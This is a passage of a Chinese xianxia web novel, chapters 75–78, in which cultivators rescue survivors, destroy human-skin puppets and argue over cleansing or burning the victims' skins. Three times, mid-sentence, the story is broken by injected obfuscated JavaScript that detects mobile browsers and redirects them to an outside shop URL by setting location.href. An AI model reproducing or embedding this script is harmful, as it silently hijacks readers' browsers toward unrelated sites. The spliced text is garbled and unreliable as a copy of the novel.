公仪岭连忙燃了起火,照亮了自己的面孔,出声制止道:“别紧张,是我!” 75.渡人难渡己 来去一场空(一) 莺儿看清了来人,马上伸手按下了那根竹竿,喜道:“仙人哥哥,你回来了!” 公仪岭道:“回来了,不过得带你们出去一下。” 瞎眼男子急忙问道:“外面怎么样了?” “我刚出去就遇到了白雾,随后就遇到了其他下来除鬼的仙人,将出来的那些东西消灭了干净后才回来的。” 那老人讶异:“当真有其他仙人来了?我还以为他们真的不管宣安城死活了。” 公仪岭点头:“我将他们带来了这里,你们不要害怕,他们不会伤害你们,我一会儿叫他们带你们出去。” 旁边有个人却很抗拒,坚定地摇头:“为何要出去?万一还有那些东西怎么办?谁知道你们清没清干净……” 公仪岭道:“到底有多少数量我不知道,反正今天傍晚见到的那些都已经死了。你们要是不相信,可以出去看看我们带回来的人皮数量,因为怕吓着你们,才被我圈在结界里了。” 莺儿道:“我们也不知道具体有多少,但是一个月来宣安城死去的人肯定是有百来个的。” 公仪岭想了一下遇到的数量,思忖道:“那应该还有半数,我等明日再去看看。现在你们跟我出去,有这么多仙人在万仙寺护着,你们不会有危险的。” 地窖里大家你看看我,我看看你,都没说话。 “何况,我想他们应该也有话要问问你们,如果顺利的话,想来明天就能解决此事了。” 他说完,静静等着众人的回答。 莺儿率先开口:“仙人哥哥,我跟你们去。不过,我想去看看你带回来的那些东西。” 莺儿的这话让公仪岭有些惊讶:“莺儿,这可不是什么好东西,当心污了你的眼。” 她看起来很镇定,坚持道:“仙人哥哥,我从城中逃出来以后,与一个好友失散了,这么久过去了我也没有找到他,我担心他也遇害了,所以,我必须得去看看那里面有没有他。” 公仪岭问她:“你每日冒着风险进城找吃的,原来是为了寻人?” 莺儿点了点头:“他是个好人,我不希望他出事。” 公仪岭道:“那你先跟我出去吧,剩下的人,如果愿意出去,等下就跟着下来的仙人出去。” 之前犹豫的几个人颤声问道:“你说得当真吗?我们真的不会遇到危险吧。” 公仪岭保证道:“不会遇到危险的,我想现在没有哪里比万仙寺更安全了。” 说罢,他带着莺儿离开了地窖。 莺儿身子轻,公仪岭拎她就跟拎鸡仔似的,带她上去十分方便。两个人出了地窖后,公仪岭将她放下,对围在地窖口的几人道:“你们下去吧。” 薛尧应了声,随手点了几个弟子跟着下去,很快就把地窖里的人都带了上来。 公仪岭点了点人数,确认一个没少后,领着所有人去了正殿说事。 初秋的天气有些寒凉,这些百姓们也只有薄薄一层破衣服,风一吹难免瑟缩。公仪岭寻了个火盆来往里面生了火,给他们取暖。 薛尧席地而坐,慢慢打量着面前的这十几人,许久才开口问道:“你们的家人都遇害了吗?” 回答他的内容五花八门,不过薛尧还是从这些零星的话语中得知,家中全数遇害的只是少数,大部分都是流浪的乞丐躲在这里。 薛子昂则道:“我们猜测这些东西就是人为弄出来的,你们这一个月城中可有遇到过什么行迹奇怪的人吗?” 众人摇头道:“哪有什么奇怪的人?这些鬼都是在城里突然出现的。” 公仪岭知道他是想问有没有遇到过魔族的人出现,但就算魔族的出手,也不会让普通人发觉,定然是掩了踪迹,悄悄地把事情做了,问了也白问。 薛尧道:“那城里一共遇害了多少人呢?” 公仪岭道:“他们说,死了有百来个人,我看我们明天还得去一趟。” 薛尧思忖:“再去一趟倒没什么,我担心的是不能将它们一网打尽,若是有什么办法能将所有东西引出来就好了。” 公仪岭心道:“引出来是有办法,就怕你们打不过,到时候我还得护着你们,怪累人的一活儿。” 当然他说还是不能这么说出口,非常含蓄回道:“全引出来的话,那你们得小心点,别再被伤到了。” 薛子昂只当他在提醒自己,握紧拳头信誓旦旦:“这次肯定不会出意外了!” 薛尧也道:“这是自然,只要先把所有鬼魂除了,他们就没法害人剥皮,穿在自己身上隐藏阴气了。” 瞎眼男子突然说道:“几位上仙,你们说你们带回来的人皮,是从鬼身上取来的吗?” 公仪岭“嗯”了一声,道:“是的,我们推断,这些鬼杀了人后,穿上了他们的人皮,白日里假装成活人在街上行走,好欺骗其他人出来。” 说罢,面前十几个人面面相觑——这个事情,他们都不知道,他们逃到万仙寺后,再也没跑城里去,自然也就不清楚这些了。 瞎眼男子愣了许久,才哑着声道:“那……我的家人……是不是也被他们……” 公仪岭沉默不语,这个时候说实话的话,也太伤人心了。 薛子昂干巴地出声安慰:“也许运气好的话,你的家人还没有被做成人皮寿衣也不一定……” 公仪岭颇有些无语地看着这人,觉得这小孩怕是缺心眼,但又不是自家门下师弟,也不好多说什么。 薛尧沉声道:“子昂,慎言。” 只可惜话都说出口了,现在制止也没什么作用。公仪岭看着那瞎眼的男子,他两个空洞的眼眶微微泛红,垂下了头呆呆地对着地面,神色黯然,声音哽咽:“都怪我,若是我没离开的话,他们也不会……” 公仪岭心中暗暗叹了口气。 薛尧轻声道:“节哀顺变。” 莺儿听完公仪岭说的话后就愣了,等他们安慰完瞎眼男子后,才不解道:“原来白天街上那些人都是鬼?可我每日进城的时候,都平安无事……” 公仪岭有点疑惑,问她:“你白天看见那些人的时候,可有遇到白雾?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528955|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莺儿点了点头:“有,白雾掩盖了它们的身形,所以我不知道它们是鬼。再说,它们也没有出手害我,我才没有往这方面想。” 这就奇怪了。 公仪岭思量半天也搞不明白这是怎么回事,只能暂且把原因归结为莺儿运气好:“可能是你运气不错,他们没有注意到你吧。” 薛尧与他商量:“那等明日处理完,所有的人皮我看也全都焚烧了吧。” 公仪岭不解:“为何?既然那些被控制的鬼魂已经神形俱灭,何必还要多此一举,焚烧人皮?” 薛尧道:“这些人皮已经被它们用过了,难保上面不会沾染上鬼魂气息,若是不处理掉的话,如果后面出了问题,又该如何?” “不行!” 那个瞎眼男子咬牙出声,直接厉声打断了薛尧的话:“我的父母妻儿都被它们剥了皮,死后都没留下一点体面!再怎么说,也该让他们入土为安,你们怎么可以把他们焚烧了!” 公仪岭也皱眉道:“虽说这对我们来说只是一张皮囊,但它们毕竟也是城中百姓的家人、好友,再怎么说,也得考虑亲人的意见吧?” 薛尧神色严肃:“公仪兄,并非我不近人情,现在你我都清楚这些鬼为什么要披一张皮,他们想出这么个办法,难保不是玄霄殿在打什么主意!如果不把这些皮囊清理干净的话,如果以后被玄霄殿再次利用,这个后果,我们谁能承担?” 公仪岭还没说话,瞎眼男子就已经连连摇头:“不行,不行,我不能接受……” 公仪岭为难道:“即便我同意了,难保全城其他百姓也不会同意的。何况,我们今天在街上闹了这样一出,他们定然会知道有仙人过来除鬼的事情,等明天把所有人皮傀儡杀完后,你觉得还瞒得住鬼披人皮这件事情吗?” 薛尧沉声道:“既然我们下来是为了解决此事,总不能留有隐患就回去。你也知道紫阳宗丢的东西是何等宝物,人皮如果沾染了上面的邪气,你我都无法保证会出什么事情!孰轻孰重,公仪兄你心中,可得掂量清楚。” 公仪岭心中烦躁,抿唇不答。 那瞎眼男子抬头,涩声问道:“你们这么多上仙聚集此地,难道没有什么两全齐美的办法吗?” 莺儿也担心着自己的那位朋友,对瞎眼男子的态度十分理解,小声哀求道:“仙人哥哥,求求你们想想办法吧!若换做是我,看见朋友皮肉分离,也不能接受他们就这样被烈火焚尽。” 薛尧缓缓摇了摇头:“这还能有什么办法……要我看,没有什么办法比这个更永绝后患了。” “事在人为,现在还不是说没有办法的时候。”公仪岭不悦地打断了薛尧的话。 薛尧偏头,似笑非笑看向他:“不知公仪兄这么说,可有什么更好的办法?” 公仪岭道:“你们所担心的,无非就是被御魔幡沾染过后的人皮会不会再生出事端,才想直接一了百了。如果能够将人皮上沾染的污浊魔气给清除了的话,不就万事大吉?这样你们也好回去交差,他们也可以将亲人安葬了。” 76.渡人难渡己 来去一场空(二) 薛子昂眼前一亮:“哎,这倒是个好办法!” 瞎眼男子也面露急切:“上仙,你说的可当真?” 公仪岭深吸了一口气,勉强笑道:“这样的术法虽然我不会,但是毕竟东西是紫阳宗丢的,我想他们没准会有清除魔气的法诀,若是你们愿意信我,我可以写信给紫阳宗的人问一问。” 瞎眼男子立即说:“那还等什么,快去问一问!” 薛尧却摇头道:“就算紫阳宗的人有办法,我们又何必多此一举,绕这么大圈子?明明有更简洁的解决办法……” “再者,就算你一时清理了人皮上的魔气,难保日后不会再被他们劫走人皮,再次利用,届时,又该当如何呢?” 公仪岭道:“大不了他们入土为安以后,我们再用术法封棺,这样玄霄殿想必也就没办法了。” 薛尧凝视了他片刻,叹息了一声:“……真是麻烦啊。” 薛子昂左看看右看看,见师兄还是有些不满,也劝道:“师兄,我看让他写了信去问问也没事,要是真有办法的话,先拿一副皮囊试试也无妨!如果紫阳宗愿意告知术法的话,就算后面出了问题,肯定也怪不到我们头上。” 薛尧思忖很久,终于还是答应了。 不过,他答不答应也不影响公仪岭已经打开行囊动笔开始写信了。薛尧答应,那最好,他们行事也少些阻碍;薛尧不答应,也没事,到时候也就是他多费些工夫把他打晕而已。 果然出门在外,还得是靠自己啊! 公仪岭鼓舞了自己一番,唰唰唰写了信给燕蓉传了过去。 薛尧看着他写完了信,对他道:“从这里传过去需要一日,紫阳宗传回来也需要一日,我可以给你留两日时间,如果到时候连他们也束手无策,希望你不要再阻拦我所说的办法。” 公仪岭干脆道:“可以。” 见他们约定完了,莺儿这才问道:“仙人哥哥,若是你们商量好了的话,不妨先带我去看一看,那些人里面有没有我的朋友吧。” 公仪岭想起了她说的事情:“那我们走吧。” 瞎眼男子听说他们要走,焦急道:“我也要去!”说着撑着半截腿就起了身。 莺儿知道他看不见找不到人,于是扶住了男子的手臂,将他牵引着跟过来。人皮被他们安置在外面,几人领着莺儿和瞎眼男子到了寺外,才撤下了结界。 所有地上的皮囊都被他们一张张分开安放,密密麻麻足有五十多张。 莺儿强忍着惧意,被公仪岭带着一个个辨认过去,一连走了两排,莺儿都没有停留。 “这些里面没有吗?”公仪岭问她。 莺儿缓缓摇头:“没有。” 直到走到最后一个,莺儿也没有停留。在看完最后一副皮囊以后,莺儿脸上早已经没了血色,强忍的不适感最后还是爆发出来,直接踉跄几步,软倒在旁边开始捂着胸口干呕起来。 “这里面,都没有吗?” 莺儿面如菜色,连连摇头。 公仪岭拍了拍她的后背,给她递了水囊。 毕竟还是个十二三岁的小姑娘,见到这样的场景,也真是难为她了。 不过值得庆幸的是,这里面并没有她的朋友。 旁边的瞎眼男子看不见,一直愁眉不展的。公仪岭问他:“你的家人身上可有什么特征,我可以帮你辨认一下。” 瞎眼男子喃喃道:“我妻子的耳后,有一颗痣。我儿子的右手上,有一块长长的胎记。” 随后,他又说了双亲的一些外貌特征。 公仪岭依照着他说的一张张查看过去,最后,只在里面找到了他妻子和母亲的皮囊。 看着瞎眼男子泣不成声悲痛欲绝的样子,公仪岭心里也不是滋味。 他私心也不希望这么不近人情地将人皮焚化,却也没办法因此指责薛尧的做法,毕竟,仙家不论换成哪家下来,或许都会做出这样的决定。 现如今,他也只能寄希望于燕蓉能够知道清除魔气的法术了。 安抚好瞎眼男子后,薛尧先将人带了回去。公仪岭则把地上的皮囊整理好后,重新设下了结界。 一直站在他旁边的莺儿突然开口问道:“仙人哥哥,你们明天还是傍晚的时候去杀鬼吗?” 公仪岭答她:“只要先把它们引出来的话,白天杀也无妨,不过,我还是想先等一等我朋友的回信再说。” 莺儿顿了顿,轻声道:“那,杀完鬼后,你们就要离开了吗?” 公仪岭道:“他们几个应该是要离开了,我还有些事情要处理。” 莺儿默默道:“仙人哥哥,你跟我说过,你也是在找人,那能不能,也帮我找一找我的朋友?” 公仪岭想了想,点了点头:“我在宣安城的时候,一定尽力帮你找。” 莺儿松了口气,感激不已:“多谢你了,仙人哥哥。” 一夜无眠。 城中百姓都依照着他们自身的意思,让薛尧他们给送回了地窖里面。公仪岭则是抱着剑守在万仙寺门口靠了一夜,愣是没合眼。 次日一早,公仪岭就被无妄宗的人叫了起来。 看着他们一群人收拾着东西整装待发的样子,公仪岭问道:“这么着急做什么,不等到黄昏再去吗?” 薛尧淡声道:“清早阴气重,反正他们白天也能出来,我看这时候去最好。” 薛子昂附和:“若是再在这边熬到黄昏,我看我是等不了那么久的。” 薛尧说的话不无道理,公仪岭便起了身,与他们一起离开了万仙寺。 这个时辰,宣安城的街道上还有些昏暗。公仪岭持剑往中间街道走,一边问他们:“你们想好了引人皮傀儡出来的办法了?” 薛尧诧异看向他:“我以为你已经想好了,昨天才会这么说的。” “……” 公仪岭默了默,实话实说道:“办法有是有,但我也没用过,不知道管不管用啊。” 薛尧停下脚步:“你且说来。” 公仪岭指了指薛子昂道:“据我昨天观察,他们应该感觉到生人气息就会出来,不如让他掩了气息,到街道上来回走个两趟,盖以诱敌,如何?” 薛子昂道:“我还以为你会有什么更高级的办法,比如说拿个什么云灵山的法宝来召集他们,结果居然是这么朴实无华的办法?” 公仪岭从容道:“朴实不朴实先不说,办法管用就行。再说了,你斗地主上来就丢俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528956|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹?” 薛子昂想了想,答应下来:“那行!” 薛尧拦住了他,毛遂自荐:“子昂去有点危险,万一打不过他们怎么办?要不我来也行。” 公仪岭道:“我看那些傀儡也是个欺软怕硬的主,感觉你比你师弟们厉害些,说不定效果没那么好,他们见到你可能会绕道走。” “好吧。” 薛尧妥协,对薛子昂叮嘱道:“那你去的时候小心些,可别受伤了。我们几个都在旁边盯着,等它们出来立刻就过来帮你。” “放心吧,师兄。” “还有……” “嗯嗯,好,知道了。” 公仪岭抬头看天,见天色正在慢慢变亮,再忍不了他们师兄弟两个人磨磨唧唧、千叮咛万嘱咐地样子,直接往薛子昂腚上踹了一脚,给他踹到了大街上。 “你!”薛尧看着自己师弟直接被他踹飞了出去,原本温和自持的脸上终于也有了些裂痕,“你跟他好好说就是,干什么踢人!” 公仪岭波澜不惊:“这么大人了出去除个鬼还磨磨蹭蹭的,你们俩再多说几句天都要亮了!我在他们这么大的时候,早就不知道一个人下山历练了多少次了。老这么担心这担心那的,他还怎么进步?” 薛尧被他一番话弄得无话可说,咽下了话就转头凝神去看薛子昂的动向。 公仪岭双手抱胸,静静看着薛子昂没头苍蝇一样在主街上乱窜。 不过,这个饱受他们质疑的方法,居然还真的有用。薛子昂只在长街上晃悠了两圈,公仪岭就已经看见了自己周围开始弥漫起淡淡的雾气。 他心道:“果然来了。” 覆眼的青绫再次派上了用场,被他绕在脑后紧紧打了个结,就开始附耳听长街上的动静。 薛尧心中紧张,一直紧紧盯着师弟那边,直到白雾变浓,薛子昂的身影也融入了雾中难以看清后,他才将手按在了剑柄处。 长街上身影变得越来越多,薛尧正欲出去,身后公仪岭动作却比他快,飞身与他擦肩而过的时候,还不忘拍了拍他的肩膀,飘然留下一句:“走啦,兄台,你师弟已经开打了。” 薛尧顾不得多想,直接信了公仪岭的判断,轻声与其他弟子道:“我们走!” 如公仪岭预料的那样,薛子昂的确是开打了。 有了昨日的交手经验,加上一开始遇到的人皮傀儡数量不多,他今日的战况稍好了些,能够游刃有余地应付了。 只不过,随着出现的傀儡越来越多,薛子昂还是不敢太大意轻敌,一看苗头不对,马上呼喊道:“师兄!快来帮我!” 他刚喊完,已经看见雾色深处狂奔来的宗门师兄弟,直接把他面前的几只接手了过来。薛子昂顿感压力大减,动作也变快了很多。 公仪岭一手执剑,自石板路上借力飞跃,身形迅捷如风轻盈似羽,眨眼间到了一只人皮傀儡的面前。那傀儡甚至还没来得及伸手挡住公仪岭的利剑,下一秒就身首异处。 趁着那傀儡里的黑烟还没散尽,公仪岭已经腾空飞踢,力道之大竟直接将傀儡踢得倒飞出了十丈远。那傀儡落地的时候,干瘪的身子还顺便撂倒了身后另外一具人皮傀儡,砸得石板当场碎裂,断成两截。 77.渡人难渡己 来去一场空(三) 薛子昂将一切看在眼里,瞠目结舌,差点没鼓起掌来:“哎哟,厉害!” 公仪岭丢下一句:“你很闲啊?还有心思看我打架。动作利索点,早干完早收工了!” 薛子昂被他一嗓子喊回灵识,下意识擦了擦汗,更加不敢大意了,立刻继续跟傀儡过招去了。 公仪岭这边却是来去自如的样子,在傀儡之间穿梭,除了对付自己面前的东西以外,空闲的时候还会腾出手给他们几个飞出几道黄符,不偏不倚贴到傀儡的脑门上,省了他们不少事。 有了他多方努力,薛子昂从未觉得除妖竟然是如此轻松的事情,甚至让人生出了一种,哪怕他现在跑隔壁茶楼里面喝口茶,也不会影响战况结果的感觉。 每一个拦在公仪岭面前的傀儡,或是被他拦腰斩断,或是被他抹了脖子。不管是哪一种死法,总而言之,不出两炷香的时间,石板路上便躺了十几副空壳皮囊。 处理完了自己面前的东西后,公仪岭才稍微松了口气。 薛尧那边是不怎么需要自己操心的,不过他带来的那几个比较年幼的弟子们,就该自己多多照拂了。 纵然他行动再快,在自己与傀儡乱战的过程中,也无法完全面面俱到地照顾到长街上的每个人,而他能够做的,也只有直冲过去,替他们补上一剑了。 脑中策略一闪而过已具雏形。他刚思忖完,就发生了点意外,稍远处的一个年纪最小的弟子竟直接被面前的人皮傀儡死死咬住了拿剑的右手,挣扎中,灵剑脱手落地,直接被傀儡踩在了脚下。 只是那弟子现在所在的位置甚远,公仪岭没办法及时赶到。 他眉目微沉,归云在他手中径直转了个圈。公仪岭手腕一抖,作势一甩,归云脱手飞出,擦着那弟子身子侧边,直接将他面前的人皮傀儡钉死在了街道旁边的石壁上! 那弟子一开始只觉得身侧呼啸而来一阵劲风,等到看清楚面前人皮傀儡被归云剑钉死在石壁上的惨状后,后知后觉方才发生了什么,吓得直接瘫软在了地上,动弹不得。 毕竟,那把名唤归云的灵剑,只差毫厘距离,就能让自己归西了啊! 公仪岭双指一扬,从石壁上召回了归云剑,重新握在手中,转过身对那弟子沉声道:“别躺地上了!等回万仙寺,想睡多久就睡多久,现在可不是让你睡觉的时候!” 那弟子连滚带爬赶紧捡起了地上自己的剑,心有余悸地大口喘起了气。 公仪岭“啧”了一声,也不指望他了,回身重新投入了战斗。 所幸另一边薛尧和薛子昂还算争气,两个人加起来杀了差不多十五具人皮傀儡,减轻了公仪岭不少压力,很快将白雾中出现的剩下那些傀儡给清理了干净。 虽然白雾里看起来好像没有人皮傀儡的影子了,但无妄宗的几个人还是不敢大意,背对着背围成了一个圈,一个个斜持佩剑严阵以待。 公仪岭侧耳听了片刻,确认再无傀儡后,呼出一口气,将归云收起,扯下了眼睛上的青绫,对他们说道:“全杀光了,可以收剑了。” 白雾渐渐散去,街道上果然空空荡荡,只剩下地上满地狼藉。那几人这才警惕地收了剑,擦了擦额头的冷汗。 “总算结束了……” “原来下来历练这么吓人。” “真不是我说,公仪兄你胆子也太大了,蒙着眼睛就敢那样把剑甩飞出去救人……要是偏了几寸,怕是我家师弟该命丧当场了。”薛尧皱着眉,不满道。 不满归不满,但他还是不能直接因为这个事情训斥公仪岭。毕竟现在看来结果是好的,公仪岭两次出手搭救了自家师弟,救命之恩,自当感激。 公仪岭自信道:“我的耳朵跟眼睛一样好使,错不了。只有在有把握的情况下,我才会出手。” 薛尧轻轻摇了摇头,似乎不太认同他的做法。 薛子昂则是羡慕道:“要是我有一日能跟你一样厉害就好了,直接来如电去如飞,唰唰几下把人干翻,然后深藏功与名,悄然退场。” 公仪岭道:“你当在人间当大侠,行走江湖呢?” 薛尧没有理会师弟随口的话,对众人道:“罢了,现在傀儡解决了,我看我们还是先把东西带回去,对对数量吧?” 师弟们道:“好。” 公仪岭疑惑道:“你们过来的时候,怎么没先去找宣安城城主问问死伤数量?” 薛子昂摇头,与他解释了一下:“问了,但城主也不太清楚,叫我们去问县衙里的人呢。” 公仪岭扫了一眼他们几个,建议他们:“那不如你们派个人去问问,等问完以后,再回万仙寺和我们核对数量,如何?” 薛尧觉得妥当,点了头,随意吩咐了一名师弟过去打听了。 公仪岭心里还惦记着紫阳宗的回信,无心在城中逗留。他抬头一看,天都大亮了,于是急匆匆收拾了一下地上的皮囊就要回万仙寺中。 “先回万仙寺吧,我还等着回信呢。”公仪岭催道。 薛尧应了声,招呼了师弟们一声:“走!” 几人御剑回了寺庙,在殿外把所有的皮囊都安放清点好了以后,等着去探听的那名弟子回来。 而在等待了两个时辰以后,那被派去县衙的弟子终于回来了,气喘吁吁落在万仙寺门口,手里还多了一本名册。 “师……师兄,我把所有遇害人的名册拿回来了!” 殿里几人听到了响动,立马鱼贯而出。 “哪儿呢,哪儿呢?我看看多少人?”薛子昂跑得最快,直接一把抢过名册,在手里呼啦啦地翻。 那弟子答道:“名册上记下的,统共一百二十八个人。” 他说完,众人面面相觑,互相对了下眼神。 公仪岭心道:“对上了。” 只因方才,他们清点完两天所有的皮囊后,得到的正好是一百二十八这个数量,一个不多,也一个不少。 “太好了!” 薛尧紧绷的心终于松弛了下来:“看来城中的人皮傀儡总算是清理干净了。” 公仪岭点了点头,考虑到到时候认尸的问题,就问薛子昂:“这名册上可有写了遇害者的住址或是家人?” 薛子昂翻了翻,确定道:“都写着呢,每个人的信息都记载的很详细。” 公仪岭道:“那就行,等到时候清完皮囊上的魔气,再联络家人认回去吧。” 薛尧道:“话别说那么肯定,有没有清除御魔幡魔气的术法还不知道,紫阳宗的回信还没到呢。” 公仪岭道:“急什么,办法总比困难多。” 薛子昂看着他,道:“希望你的朋友靠谱。” 公仪岭不语,只能盼着回信早点来。 * 紫阳宗的回信是下午才到的。 公仪岭为了快点拿到信,一直蹲在万仙寺的门口守着,功夫不负有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544058|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心人,终于让他在午后等到了那封太阳纹紫色锦缎的回信。 他感动不已:不愧是燕蓉啊,办事效率就是高!他们无妄宗的人还道得两天时间才能拿到手,这不刚过一日,燕蓉就给他寄回来了。 想完以后,感觉自己在后辈面前腰板都挺直了些。虽然一般宗门信笺都做不了假,但为了保守起见,公仪岭拿到信函第一件事,还是仔细检查了上面的朱印。直到确定了上面是燕蓉的朱印后,公仪岭这才放下心来,打开了信看。 扫了两眼后,公仪岭心中有了数,遂拿着信函走回了正殿。 里面无妄宗的人也都等着他的消息。见公仪岭闲庭信步走了进来,手上还拿着那紫锦信函,就有弟子讶异道:“怎么这么快就回信了?” 公仪岭话语间不免得意:“我就说我朋友靠谱吧?办事效率快得很!” 薛子昂马上问道:“紫阳宗的人在里面说什么了?” 薛尧道:“他们可有说去除魔气的法术?” 公仪岭微笑道:“说了。按照之前的约定,就先让我在一副皮囊上姑且试试吧。” 燕蓉在回信中的确说了清除魔气的办法,只不过她同时也言明了自己并未亲自尝试过,不知道能不能行。 但公仪岭没有管这些。反正就算是失败了,这些皮囊也不会凭空消失,不管怎么说,燕蓉给了术法总比没给术法强多了,现在他至少还能试试。 无妄宗的人见他自信,便没多说什么。 薛尧只能道:“那你就先去找一副皮囊试试吧。” 公仪岭大概看了看信中的咒语,认出此咒是驱魔体系中的,虽然后半段变得有点高深莫测,但他猜测,这大概是很久前的用法了。总之,这咒语看起来没有什么问题,可以先试试再说,大不了,等日后再去仔细问问燕蓉这个法术的构成。 他在心里默记法诀,将信函收回自己的行囊里,对他们点了点头。 众人在百来副皮囊里随意选出了一个,站在旁边围观。 就见公仪岭周身灵力汇聚,手臂上环起淡青色的光芒,随后双手飞速掐诀,口中念了几句咒语后,那道光芒就从手上散逸出来,悉数钻入了地上那皮囊里面。 停滞了片刻,直到皮囊上环绕的光芒消失不见,公仪岭原本微闭的双目这才睁开,收了架势对众人道:“好了。” 薛尧没想到他动作会如此快,疑惑道:“这就好了?” 公仪岭点头,右手朝皮囊上方挥过,人皮上微微亮光,无妄宗的众人立刻就惊讶地看见原先在皮囊上方丝丝缠绕的黑气消失不见了。 “这是成功了吧?” “还真是……” 无妄宗的几个小弟子窃窃私语着,眼中满是惊叹。 薛子昂喃喃道:“居然真成功了?” “嗯,成功了。你们要是不信的话,也可以自己看看。” 公仪岭说完,也是放下了心,心中暗想:“没想到一次就成功了,燕蓉果真靠谱。” 薛尧不放心,马上上前一步,自己也施法查看了一番。他手上灵气蓄起,凝神查看过后,结果却是皮囊上的魔气的的确确消失不见了,这才收回了手。 公仪岭扬声问道:“如何?” 薛尧看向他:“你果然有几分本事。” 公仪岭勾了勾唇角,悠然道:“那这位仙僚,现在可否能放弃焚烧人皮的想法,放心让我来清除魔气呢?” 78.渡人难渡己 来去一场空(四) 薛子昂忙不迭对师兄说道:“师兄,我看他施的法诀的也没什么问题,那些百姓失去亲人、家破人亡,十分可怜,不如就按照公仪兄说的试试看吧?” 薛尧沉默着思考了很久,才声音冷淡道:“也好,不过我有几个要求。” “什么要求?你说就是了。”公仪岭道。 薛尧淡声道:“第一,我希望此事仅有我们几人,和你的那位朋友知晓,再无其他人知道。等把人皮送回去,我也会告知他们的亲友,不要声张。至于我们宗门那边,我会想办法自圆其说。” 薛子昂没明白:“师兄,为什么不能让别人知晓?” 薛尧道:“谁知道魔族会不会再次打这些人皮的主意?我们守口如瓶,对外就说已经把它们处理干净了,也好少些隐患。” “再者。”薛尧瞥了公仪岭一眼,语气平静,“只有我们几人知晓的话,如果日后这些人皮被盗,排查起来是谁泄密也方便,不是吗?” 薛子昂:“这……” “哦,我懂,防着我呢?” 公仪岭好整以暇,无所畏惧地对视了过去:“薛尧,说这话的时候你也得想想,现在在场的可不止你我两人,你不相信我,我还不相信你们呢!别到时候你们宗门的人泄了密,反过来怪到我头上!” 薛尧脸色微沉,显然没想到他说得如此直接:“我没直接说,你也不要妄自揣测。何况你自己一意孤行留下人皮,本就不该。现在去除魔气的法诀也是你施的,如果以后出什么问题,我们可担当不起。” 公仪岭嗤笑一声:“你是没说,但你不就是这么个意思吗?觉得我留下人皮是一己私欲、另有所图!还整那些弯弯绕绕的说辞,膈应谁呢?” 薛尧道:“换了谁来,都难免对此有所怀疑。我不过是为了避免节外生枝罢了!” “那你说,我要那人皮做什么,拿来做菜也不好吃啊!难不成你们无妄宗那边没什么好吃的,才会以为别人打人皮的主意吗?”公仪岭面露嫌弃,“我们云灵山下的猪肉好吃得很,我暂时还没考虑换食谱。” 公仪岭张口就来,显然是胡说八道了一堆。 薛尧心里也知他是在胡说,怒视道:“……你!” 薛子昂一见两人之间火药味起,连忙闪身阻在了两人中间,把他俩拉开:“师兄!公仪兄!你们都少说两句,先别吵起来啊!” 公仪岭不悦道:“这是我要跟他吵吗?分明是他先冤枉人,要来跟我吵。我不过是给自己解释两句而已。” 薛子昂满头大汗,只好去劝自家师兄:“师兄,公仪兄还救了我们呢,我想他应该不是那样的人,咱们还是先别说他了……” 薛尧凝视着他,许久后,才敛眸淡声应道:“嗯。” “方才是我擅自揣度了,还请公仪兄不要见怪。” 薛子昂听到师兄道歉,这才松了口气,转头去看公仪岭面色。 公仪岭懒得与他计较,心里暗骂了一声“小肚鸡肠”,凉凉道:“算了,我不跟你说这个。你且说你那第二点是什么吧?” 薛尧盯着他的眼睛,缓缓道:“第二,等他们的家人认尸回去,要入土为安的时候,封棺之事,必须由我们一起做。” 公仪岭道:“没问题,既然你们这么不放心,我不让你们插手还显得我心里有鬼。不就是封棺吗?你们想要里三层外三层全都施加法术我都没意见。” 见他同意,薛尧脸色这才好转了些。薛子昂忙问道:“师兄,那第三点是什么?” “第三,在封棺完以后,我们必须得焚烧一次来掩人耳目。”薛尧道,“若是魔族的人现在在宣安城,没看见我们烧人皮,难保他们不会发现端倪,再怎么说,也得做出个样子来,随便给什么东西施加障眼法,蒙混过关就罢了。” “可以,你倒想得周全。” 公仪岭一口答应下来,又问:“你还有什么要求?现在就直接一起说了,别到时候又跟我吵起来。” 薛尧:“没有了。” 公仪岭道:“行,那接下来,我就要把剩下一百二十七副人皮上的魔气都清理了,你们不要再对此有什么意见。” 薛子昂摆手道:“我们没什么意见。” “你请。”薛尧退至一旁。 一炷香后,地上所有的人皮全都被公仪岭清理完了魔气。 无妄宗的几名弟子打架不厉害,不过办事跑腿倒快,很快就联系到了这些死者的家人,把所有的人皮都带了回去。 虽然仙人斩杀人皮傀儡的事情已经在宣安城传开了,城中也渐渐恢复了从前的热闹,不过封棺之事,还是几人悄悄办妥的。 三日后,宣安城西南方的一处深山。 公仪岭跟薛尧各自挽着衣袖,手里拿着一把铁锤,正“铛铛铛”地在棺材四角钉上钉子。 